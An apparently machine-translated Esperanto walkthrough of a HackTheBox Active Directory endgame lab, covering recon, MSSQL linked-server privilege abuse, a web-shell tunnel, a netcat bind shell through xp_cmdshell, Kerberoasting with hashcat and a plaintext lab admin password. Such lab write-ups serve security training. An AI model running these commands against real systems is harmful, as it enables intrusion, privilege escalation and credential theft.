HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

En ĉi tiu artikolo ni analizos la paŝon de ne nur maŝino, sed tuta mini-laboratorio de la retejo HackTheBox.

Kiel dirite en la priskribo, POO estas dizajnita por testi kapablojn en ĉiuj stadioj de atakoj en malgranda Active Directory-medio. La celo estas kompromiti alireblan gastiganton, pligrandigi privilegiojn kaj finfine endanĝerigi la tutan domajnon dum kolektado de 5 flagoj.

Konekto al la laboratorio estas per VPN. Oni rekomendas ne konektiĝi de laborkomputilo aŭ de gastiganto kie estas datumoj gravaj por vi, ĉar vi finiĝas en privata reto kun homoj, kiuj scias ion pri informa sekureco :)

organizaj informoj
Por ke vi eksciu pri novaj artikoloj, programaro kaj aliaj informoj, mi kreis Telegram-kanalo и grupo por diskuti ajnajn aferojn en la areo de IIKB. Ankaŭ viajn personajn petojn, demandojn, sugestojn kaj rekomendojn Mi rigardos kaj respondos al ĉiuj..

Ĉiuj informoj estas provizitaj nur por edukaj celoj. La aŭtoro de ĉi tiu dokumento prenas neniun respondecon pri ajna damaĝo kaŭzita al iu ajn kiel rezulto de uzado de la scioj kaj metodoj akiritaj kiel rezulto de studado de ĉi tiu dokumento.

intro

Ĉi tiu finludo konsistas el du maŝinoj, kaj enhavas 5 flagojn.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Priskribo kaj adreso de la disponebla gastiganto ankaŭ estas donitaj.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni ekparolu!

Recon flago

Ĉi tiu maŝino havas IP-adreson 10.13.38.11, kiun mi aldonas al /etc/hosts.
10.13.38.11 poo.htb

Antaŭ ĉio, ni skanas malfermitajn havenojn. Ĉar skanado de ĉiuj havenoj per nmap daŭras longan tempon, mi unue faros tion uzante masscan. Ni skanas ĉiujn TCP kaj UDP-havenojn de la tun0-interfaco kun rapideco de 500 pakoj sekundo.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Nun, por akiri pli detalajn informojn pri la servoj, kiuj funkcias sur la havenoj, ni faru skanadon per la opcio -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Do ni havas IIS kaj MSSQL-servojn. En ĉi tiu kazo, ni ekscios la veran DNS-nomon de la domajno kaj komputilo. En la retservilo nin salutas la hejmpaĝo de IIS.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni trairu la dosierujojn. Mi uzas gobuster por ĉi tio. En la parametroj ni indikas la nombron da fadenoj 128 (-t), URL (-u), vortaro (-w) kaj etendaĵoj kiuj interesas nin (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ĉi tio donas al ni HTTP-aŭtentikigon por la /admin-dosierujo, same kiel alirebla labortabla servo .DS_Store-dosiero. .DS_Store estas dosieroj, kiuj konservas kutimajn agordojn por dosierujo, kiel listo de dosieroj, ikonaj lokoj kaj la elektita fonbildo. Tia dosiero povas alveni en la retservila dosierujo de retaj programistoj. Tiel ni akiras informojn pri la enhavo de la dosierujo. Por tio vi povas uzi DS_Store-rampilo.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni ricevas la enhavon de la dosierujo. La plej interesa afero ĉi tie estas la dosierujo /dev, el kiu ni povas rigardi la fontojn kaj db-dosierojn en du branĉoj. Sed ni povas uzi la unuajn 6 signojn de nomoj de dosieroj kaj dosierujoj se la servo estas vundebla al IIS ShortName. Vi povas kontroli ĉi tiun vundeblecon uzante IIS-mallongnomo Skanilo.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Kaj ni trovas unu tekstdosieron, kiu komenciĝas per "poo_co". Ne sciante kion fari poste, mi simple elektis ĉiujn vortojn komencantajn per "co" el la dosierujo vortaro.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Kaj ni ordigos ĝin uzante wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Kaj ni trovas la ĝustan vorton! Ni rigardas ĉi tiun dosieron, konservu la akreditaĵojn (se juĝante laŭ la parametro DBNAME, ili estas de MSSQL).

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni transdonas la flagon kaj ni antaŭeniras 20%.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Hu flago

Ni konektas al MSSQL, mi uzas DBeaver.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni ne trovas ion interesan en ĉi tiu datumbazo, ni kreu SQL-Redaktilon kaj kontrolu, kiaj uzantoj ekzistas.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni havas du uzantojn. Ni kontrolu niajn privilegiojn.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Tiel, ne ekzistas privilegioj. Ni rigardu ligitajn servilojn, mi skribis pri ĉi tiu tekniko detale tie.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Jen kiel ni trovas alian SQL-Servilon. Ni provu la plenumon de komandoj sur ĉi tiu servilo uzante openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Kaj ni eĉ povas konstrui konsult-arbon.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

La afero estas, ke kiam ni faras peton al ligita servilo, la peto estas efektivigita en la kunteksto de alia uzanto! Ni vidu en la kunteksto de kiu uzanto ni laboras pri ligita servilo.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Nun ni vidu, en kiu kunteksto oni faras peton de ligita servilo al nia!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Do estas la DBO-kunteksto kiu devus havi ĉiujn privilegiojn. Ni kontrolu la privilegiojn en kazo de peto de ligita servilo.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Kiel vi povas vidi, ni havas ĉiujn privilegiojn! Ni kreu nian propran administranton tiel. Sed ili ne permesas ĝin per openquery, ni faru ĝin per EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Kaj nun ni konektas kun la akreditaĵoj de la nova uzanto, ni observas la novan flagdatumbazon.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni transdonas ĉi tiun flagon kaj antaŭeniras.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

BackTrack flago

Ni akiru ŝelon uzante MSSQL, mi uzas mssqlclient de la pakaĵo.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni devas ricevi pasvortojn, kaj la unua afero, kiun ni jam renkontis, estas retejo. Tiel, ni bezonas agordon de retservilo (ne eblas lasi oportunan ŝelon, ŝajne la fajroŝirmilo funkcias).

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Sed aliro estas rifuzita. Kvankam ni povas legi la dosieron de MSSQL, ni nur bezonas scii, kiajn programlingvojn agordas. Kaj en la MSSQL-dosierujo ni ekscias, ke ekzistas Python.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Tiam ne estas problemo legi la web.config dosieron.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Kun la trovitaj akreditaĵoj, iru al /admin kaj prenu la flagon.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Flago de piedtenejo

Fakte, estas iuj ĝenoj de uzado de fajroŝirmilo, sed trarigardante la retajn agordojn, ni rimarkas, ke IPv6 ankaŭ estas uzata!

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni aldonu ĉi tiun adreson al /etc/hosts.
dead:babe::1001 poo6.htb
Ni denove skanu la gastiganton, sed uzante la IPv6-protokolon.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Kaj la servo WinRM disponeblas per IPv6. Ni konektu kun la trovitaj akreditaĵoj.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Estas flago sur la labortablo, ni transdonas ĝin.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

P00ned flago

Post farado de rekono sur la gastiganto uzante vinpizoj Ni trovas nenion specialan. Tiam oni decidis denove serĉi akreditaĵojn (mi ankaŭ skribis pri ĉi tiu temo artikolo). Sed mi ne povis akiri ĉiujn SPN-ojn de la sistemo per WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni rulu la komandon per MSSQL.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Uzante ĉi tiun metodon, ni akiras la SPN de uzantoj p00_hr kaj p00_adm, kio signifas, ke ili estas vundeblaj al atako kiel Kerberoasting. Mallonge, ni povas akiri iliajn pasvortajn haŝojn.

Unue vi devas akiri stabilan ŝelon kiel MSSQL-uzanto. Sed ĉar ni estas limigitaj en aliro, ni havas komunikadon kun la gastiganto nur per havenoj 80 kaj 1433. Sed eblas tuneli trafikon tra haveno 80! Por tio ni uzos la sekva aplikaĵo. Ni alŝutu la dosieron tunnel.aspx al la hejma dosierujo de la retservilo - C:inetpubwwwroot.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Sed kiam ni provas aliri ĝin, ni ricevas eraron 404. Ĉi tio signifas, ke *.aspx dosieroj ne estas ekzekutitaj. Por ke dosieroj kun ĉi tiuj etendaĵoj estu ekzekutitaj, instalu ASP.NET 4.5 jene.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Kaj nun, kiam ni aliras tunnel.aspx, ni ricevas respondon, ke ĉio estas preta por iri.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni lanĉu la klientan parton de la aplikaĵo, kiu elsendos trafikon. Ni plusendos la tutan trafikon de la haveno 5432 al la servilo.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Kaj ni uzas prokurajn ĉenojn por sendi trafikon de iu ajn aplikaĵo per nia prokurilo. Ni aldonu ĉi tiun prokurilon al la agorda dosiero /etc/proxychains.conf.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Nun ni alŝutu la programon al la servilo netcat, kun kiu ni faros stabilan bind-ŝelon kaj skripton Invoke-Kerberoast, kun kiu ni faros Kerberoasting-atakon.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Nun ni lanĉas la aŭskultanton per MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Kaj ni konektas per nia prokurilo.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Kaj ni prenu la haŝojn.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Poste vi devas ripeti ĉi tiujn haŝojn. Ĉar la vortaro rockyou ne enhavis ĉi tiujn pasvortojn, mi uzis ĈIUJN la vortarojn pri pasvortoj provizitaj en Seclists. Por la serĉo ni uzas hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Kaj ni trovas ambaŭ pasvortojn, la unuan en la vortaro dutch_passwordlist.txt, kaj la duan en Keyboard-Combinations.txt.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Kaj do ni havas tri uzantojn, ni iru al la domajna regilo. Unue ni ekscias lian adreson.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Bonege, ni eksciis la IP-adreson de la domajna regilo. Ni eltrovu ĉiujn uzantojn de la domajno, kaj ankaŭ kiu el ili estas administranto. Por elŝuti la skripton por akiri informojn PowerView.ps1. Tiam ni konektos uzante evil-winrm, specifante la dosierujon kun la skripto en la parametro -s. Kaj tiam ni simple ŝarĝos la PowerView-skripton.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Nun ni havas aliron al ĉiuj ĝiaj funkcioj. La p00_adm uzanto aspektas kiel privilegiita uzanto, do ni laboros en lia kunteksto. Ni kreu PSCredential-objekton por ĉi tiu uzanto.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nun ĉiuj Powershell-komandoj, kie ni specifas Creds, estos ekzekutitaj kiel p00_adm. Ni montru liston de uzantoj kaj la atributon AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Kaj do, nia uzanto estas vere privilegiita. Ni vidu en kiuj grupoj li estas.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni finfine konfirmas, ke la uzanto estas domajna administranto. Ĉi tio donas al li la rajton ensaluti al la domajna regilo malproksime. Ni provu ensaluti per WinRM uzante nian tunelon. Mi estis konfuzita de la eraroj produktitaj de reGeorg kiam vi uzas evil-winrm.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Tiam ni uzu alian, pli facilan, skripto por konekti al WinRM. Ni malfermu kaj ŝanĝu la konektajn parametrojn.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni provas konektiĝi, kaj ni estas en la sistemo.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Sed ne estas flago. Poste rigardu la uzanton kaj kontrolu la labortablojn.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Ni trovas la flagon ĉe mr3ks kaj la laboratorio estas 100% kompletigita.

HackTheBoxendgame. Trapaso de la laboratorio Profesia Ofensiva Operacioj. Pentest Active Directory

Tio estas ĉio. Kiel sugesto, bonvolu komenti ĉu vi lernis ion novan de ĉi tiu artikolo kaj ĉu ĝi estis utila al vi.

Vi povas aliĝi al ni ĉe Telegramo. Tie vi povas trovi interesajn materialojn, filtritajn kursojn, kaj ankaŭ programaron. Ni kolektu komunumon, en kiu estos homoj, kiuj komprenas multajn areojn de IT, tiam ni ĉiam povas helpi unu la alian pri iuj problemoj pri IT kaj informa sekureco.

fonto: www.habr.com

Aldoni komenton